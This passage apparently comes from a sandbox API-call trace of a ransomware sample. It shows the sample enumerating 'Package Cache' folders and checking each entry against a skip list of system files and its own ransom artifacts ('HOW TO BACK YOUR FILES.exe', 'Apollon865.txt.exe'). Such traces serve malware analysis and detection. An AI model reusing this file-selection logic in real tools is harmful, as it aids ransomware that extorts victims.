	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="windows") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="bootmgr") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="temp") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="boot") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="ids.txt") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="perflogs") returned -1
	[0063.084] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="MSBuild") returned -1
	[0063.084] lstrlenW (lpString="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 50
	[0063.084] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 83
	[0063.084] lstrcpyW (in: lpString1=0x119e64a, lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0063.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0063.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x5b5988
	[0063.085] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c90 | out: ListHead=0x5b75f0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0063.085] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="windows") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="bootmgr") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="temp") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="boot") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="ids.txt") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="perflogs") returned -1
	[0063.085] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="MSBuild") returned -1
	[0063.085] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 49
	[0063.085] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 83
	[0063.085] lstrcpyW (in: lpString1=0x119e64a, lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0063.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0063.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5b5a38
	[0063.085] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b50 | out: ListHead=0x5b75f0, ListEntry=0x5b7b50) returned 0x5b7c90
	[0063.085] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1
	[0063.085] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.085] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0063.085] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1
	[0063.085] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1
	[0063.085] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="windows") returned -1
	[0063.085] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="bootmgr") returned -1
	[0063.085] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="temp") returned -1
	[0063.085] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0063.086] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="boot") returned -1
	[0063.086] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="ids.txt") returned -1
	[0063.086] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0063.086] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="perflogs") returned -1
	[0063.086] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="MSBuild") returned -1
	[0063.086] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 49
	[0063.086] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 82
	[0063.086] lstrcpyW (in: lpString1=0x119e64a, lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0063.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0063.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5b5ae8
	[0063.086] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c10 | out: ListHead=0x5b75f0, ListEntry=0x5b7c10) returned 0x5b7b50
	[0063.086] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="..") returned 1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="windows") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="bootmgr") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="temp") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="boot") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="ids.txt") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="perflogs") returned -1
	[0063.086] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="MSBuild") returned -1
	[0063.086] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 49
	[0063.086] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 82
	[0063.086] lstrcpyW (in: lpString1=0x119e64a, lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0063.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0063.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599f60
	[0063.086] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x5b7c10
	[0063.086] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="windows") returned -1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="bootmgr") returned -1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="temp") returned -1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="boot") returned -1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="ids.txt") returned -1
	[0063.087] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0063.088] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="perflogs") returned -1
	[0063.088] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="MSBuild") returned -1
	[0063.088] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 49
	[0063.088] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 82
	[0063.088] lstrcpyW (in: lpString1=0x119e64a, lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0063.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0063.088] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x59a010
	[0063.088] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc30 | out: ListHead=0x5b75f0, ListEntry=0x59fc30) returned 0x59fc90
	[0063.088] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f46fa90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f46fa90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="Apollon865.txt.exe") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="windows") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="bootmgr") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="temp") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="pagefile.sys") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="boot") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="ids.txt") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="ntuser.dat") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="perflogs") returned -1
	[0063.088] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="MSBuild") returned -1
	[0063.088] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38
	[0063.089] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 82
	[0063.089] lstrcpyW (in: lpString1=0x119e64a, lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0063.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0063.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5b5b98
	[0063.089] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc50 | out: ListHead=0x5b75f0, ListEntry=0x59fc50) returned 0x59fc30
	[0063.089] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f449930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f449930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="windows") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="bootmgr") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="temp") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="boot") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="ids.txt") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="perflogs") returned -1
	[0063.089] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="MSBuild") returned -1
	[0063.089] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 49
	[0063.089] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 71
	[0063.089] lstrcpyW (in: lpString1=0x119e64a, lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0063.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0063.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x59a0c0
	[0063.089] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc70 | out: ListHead=0x5b75f0, ListEntry=0x59fc70) returned 0x59fc50
	[0063.089] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1
	[0063.089] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.089] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0063.089] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1
	[0063.089] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1
	[0063.089] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="windows") returned -1
	[0063.090] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="bootmgr") returned -1
	[0063.090] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="temp") returned -1
	[0063.090] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0063.090] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="boot") returned -1
	[0063.090] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="ids.txt") returned -1
	[0063.090] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0063.090] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="perflogs") returned -1
	[0063.090] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="MSBuild") returned -1
	[0063.090] lstrlenW (lpString="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 50
	[0063.090] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 82
	[0063.090] lstrcpyW (in: lpString1=0x119e64a, lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0063.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0063.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x59a170
	[0063.090] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x59fc70
	[0063.090] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="Apollon865.txt.exe") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="windows") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="bootmgr") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="temp") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="pagefile.sys") returned -1
	[0063.090] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="boot") returned -1
